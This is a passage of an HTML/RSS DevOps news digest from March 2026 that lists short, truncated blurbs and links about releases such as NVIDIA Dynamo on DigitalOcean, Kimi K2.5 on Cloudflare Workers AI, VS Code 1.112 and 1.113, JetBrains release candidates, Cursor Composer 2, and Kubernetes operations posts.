          data-heading-id="h3-meet-the-new-standard-for-high-performance-low-cost-inference-nvidia-dynamo-10-is-now-available-to-digitalocean-customers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>NVIDIA Dynamo 1.0, which was released on Monday at NVIDIA GTC, is now available to DigitalOcean customers to help drive performance enhancements and cost efficiency. NVIDIA Dynamo 1.0 offers a 7x infe</p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/nvidia-dynamo-1-now-available"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-powering-the-agents-workers-ai-now-runs-large-models-starting-with-kimi-k25" class="group relative scroll-mt-24">
        <a href="#h3-powering-the-agents-workers-ai-now-runs-large-models-starting-with-kimi-k25" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Powering the agents: Workers AI now runs large models, starting with Kimi K2.5
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-powering-the-agents-workers-ai-now-runs-large-models-starting-with-kimi-k25"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Kimi K2.5 is now on Workers AI, helping you power agents entirely on Cloudflare’s Developer Platform. Learn how we optimized our inference stack and reduced inference costs for internal agent use case</p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/workers-ai-large-models/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-remote-mcp-server-preview-in-microsoft-foundry" class="group relative scroll-mt-24">
        <a href="#h3-remote-mcp-server-preview-in-microsoft-foundry" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Remote MCP Server preview in Microsoft Foundry
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-remote-mcp-server-preview-in-microsoft-foundry"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Earlier this week we release the public preview for our Azure DevOps MCP Server. Today we are excited to let you know that the Azure DevOps MCP Server is now available to use in Microsoft Foundry. For</p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 Azure DevOps Blog</strong></p>
<p><a href="https://devblogs.microsoft.com/devops/remote-mcp-server-preview-in-microsoft-foundry/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1113" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1113" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.113
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1113"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.113 (Insiders) Read the full article</p>
<p><strong>📅 Mar 25, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_113"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-canonical-joins-the-rust-foundation-as-a-gold-member" class="group relative scroll-mt-24">
        <a href="#h3-canonical-joins-the-rust-foundation-as-a-gold-member" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Canonical joins the Rust Foundation as a Gold Member
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-canonical-joins-the-rust-foundation-as-a-gold-member"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Canonical’s Gold-level investment in the Rust Foundation supports the long-term health of the Rust programming language and highlights its growing role in building resilient systems on Ubuntu and beyo</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/canonical-joins-the-rust-foundation-as-a-gold-member"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cursor-ships-composer-2-frontier-level-coding-performance-at-a-fraction-of-the-cost" class="group relative scroll-mt-24">
        <a href="#h3-cursor-ships-composer-2-frontier-level-coding-performance-at-a-fraction-of-the-cost" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cursor Ships Composer 2: Frontier-Level Coding Performance at a Fraction of the Cost
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cursor-ships-composer-2-frontier-level-coding-performance-at-a-fraction-of-the-cost"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cursor releases Composer 2, achieving a 10x cost reduction and massive intelligence leaps. Discover how self-summarization and reinforcement learning for long-horizon tasks are redefining the Pareto f</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/cursor-ships-composer-2-frontier-level-coding-performance-at-a-fraction-of-the-cost/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-will-ai-force-code-to-evolve-or-make-it-extinct" class="group relative scroll-mt-24">
        <a href="#h3-will-ai-force-code-to-evolve-or-make-it-extinct" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Will AI force code to evolve or make it extinct?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-will-ai-force-code-to-evolve-or-make-it-extinct"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>What would an AI-first language look like? Last year, a developer in Spain warned that our human-friendly syntax consumed an The post Will AI force code to evolve or make it extinct? appeared first on</p>
<p><strong>📅 Mar 22, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/ai-programming-languages-future/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-anthropics-response-to-the-ai-tool-that-caused-lines-around-the-block-in-shenzhen" class="group relative scroll-mt-24">
        <a href="#h3-anthropics-response-to-the-ai-tool-that-caused-lines-around-the-block-in-shenzhen" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Anthropic’s response to the AI tool that caused lines around the block in Shenzhen
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-anthropics-response-to-the-ai-tool-that-caused-lines-around-the-block-in-shenzhen"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>It is sometimes difficult to capture just how popular OpenClaw is around the world. Then there are reports like one The post Anthropic’s response to the AI tool that caused lines around the block in S</p>
<p><strong>📅 Mar 21, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/claude-dispatch-versus-openclaw/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-rider-20261-release-candidate-is-out" class="group relative scroll-mt-24">
        <a href="#h3-rider-20261-release-candidate-is-out" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Rider 2026.1 Release Candidate Is Out!
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-rider-20261-release-candidate-is-out"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Rider 2026.1 Release Candidate is ready for you to try. This upcoming release brings improved support for the .NET ecosystem and game development workflows, as well as refinements to the overall d</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/dotnet/2026/03/20/rider-2026-1-release-candidate/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-resharper-20261-release-candidate-released" class="group relative scroll-mt-24">
        <a href="#h3-resharper-20261-release-candidate-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 ReSharper 2026.1 Release Candidate Released!
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-resharper-20261-release-candidate-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The ReSharper 2026.1 Release Candidate is ready for you to try. This release focuses on making everyday .NET development faster and more predictable, with improvements to code analysis and language su</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/dotnet/2026/03/20/resharper-2026-1-release-candidate/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-microcloud-cluster-manager" class="group relative scroll-mt-24">
        <a href="#h3-introducing-microcloud-cluster-manager" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing MicroCloud Cluster Manager
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-microcloud-cluster-manager"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Canonical introduces the beta release of MicroCloud Cluster Manager, a new way to discover, organize, and operate your MicroCloud environments from a single, unified interface.</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/introducing-microcloud-cluster-manager"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kotlinconf-2026-talks-to-help-you-navigate-the-schedule" class="group relative scroll-mt-24">
        <a href="#h3-kotlinconf-2026-talks-to-help-you-navigate-the-schedule" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 KotlinConf 2026: Talks to Help You Navigate the Schedule
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kotlinconf-2026-talks-to-help-you-navigate-the-schedule"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The full KotlinConf’26 schedule is finally live, and it’s packed! With parallel tracks, deep-dive sessions, and back-to-back talks, planning your time can feel overwhelming. When almost every session </p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/kotlin/2026/03/kotlinconf-2026-talks-schedule/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-your-ai-governance-is-holding-you-back-and-you-dont-even-know-it" class="group relative scroll-mt-24">
        <a href="#h3-why-your-ai-governance-is-holding-you-back-and-you-dont-even-know-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why Your AI Governance Is Holding You Back, and You Don’t Even Know It
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-your-ai-governance-is-holding-you-back-and-you-dont-even-know-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most enterprises claim to govern their AI use. They have policy documents, review boards, approval flows, and sandbox environments. On paper, control exists. Then agents enter real software delivery w</p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/ai/2026/03/why-your-ai-governance-is-holding-you-back-and-you-don-t-even-know-it/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-visual-studio-code-1112" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1112" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.112
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1112"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.112 Read the full article</p>
<p><strong>📅 Mar 18, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_112"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-stop-waiting-on-hold-why-suse-has-a-100-customer-satisfaction-score" class="group relative scroll-mt-24">
        <a href="#h3-stop-waiting-on-hold-why-suse-has-a-100-customer-satisfaction-score" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Stop Waiting on Hold. Why SUSE has a 100% Customer Satisfaction Score.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-stop-waiting-on-hold-why-suse-has-a-100-customer-satisfaction-score"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>SUSE Premium Support achieved 100% customer satisfaction in recent quarters based on customer survey responses, with a consistent baseline of around 98% overall. Approximately 8 out of 10 customers re</p>
<p><strong>📅 Mar 18, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/why-suse-has-a-100-percent-satisfaction-score/"><strong>🔗 Read more</strong></a></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 12, 2026]]></title>
      <link>https://devops-daily.com/news/2026-week-12</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 16 Mar 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/news/2026-week-12</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by DevOps Daily</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-datalore-20261-new-data-explorer-cells-instance-wide-byok-for-ai-stronger-security-via-sidecar-containers-in-kubernetes-and-more" class="group relative scroll-mt-24">
        <a href="#h3-datalore-20261-new-data-explorer-cells-instance-wide-byok-for-ai-stronger-security-via-sidecar-containers-in-kubernetes-and-more" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Datalore 2026.1: New Data Explorer Cells, Instance-Wide BYOK for AI, Stronger Security via Sidecar Containers in Kubernetes, and More
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-datalore-20261-new-data-explorer-cells-instance-wide-byok-for-ai-stronger-security-via-sidecar-containers-in-kubernetes-and-more"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The first Datalore release of the year delivers several new features that make working with data even easier. These updates are already available to Datalore Cloud users. For Datalore On-Premises, ins</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/datalore/2026/03/13/datalore-2026-1/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-at-kubecon-eu-2026-open-source-leadership-meets-production-innovation" class="group relative scroll-mt-24">
        <a href="#h3-aws-at-kubecon-eu-2026-open-source-leadership-meets-production-innovation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS at KubeCon EU 2026: Open Source Leadership Meets Production Innovation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-at-kubecon-eu-2026-open-source-leadership-meets-production-innovation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this post, we explore how AWS continuously innovates with Kubernetes and how you can experience these these firsthand at KubeCon + CloudNativeCon Europe 2026.</p>
<p><strong>📅 Mar 12, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/aws-at-kubecon-eu-2026-open-source-leadership-meets-production-innovation/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-making-etcd-incidents-easier-to-debug-in-production-kubernetes" class="group relative scroll-mt-24">
        <a href="#h3-making-etcd-incidents-easier-to-debug-in-production-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Making etcd incidents easier to debug in production Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-making-etcd-incidents-easier-to-debug-in-production-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Diagnosing and Recovering etcd: Practical tools for Kubernetes Operators When Kubernetes clusters experience serious issues, the symptoms are often vague but the impact is immediate. Control plane req</p>
<p><strong>📅 Mar 12, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/12/making-etcd-incidents-easier-to-debug-in-production-kubernetes/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-bare-metal-problem-in-ai-factories" class="group relative scroll-mt-24">
        <a href="#h3-the-bare-metal-problem-in-ai-factories" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The bare metal problem in AI Factories
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-bare-metal-problem-in-ai-factories"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As AI platforms grow into large-scale “AI Factories,” the real bottleneck shifts from model design to operational complexity. With expensive GPU accelerators, hardware failures and inconsistent config</p>
<p><strong>📅 Mar 11, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/the-bare-metal-problem-in-ai-factories"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-sustaining-open-source-in-the-age-of-generative-ai" class="group relative scroll-mt-24">
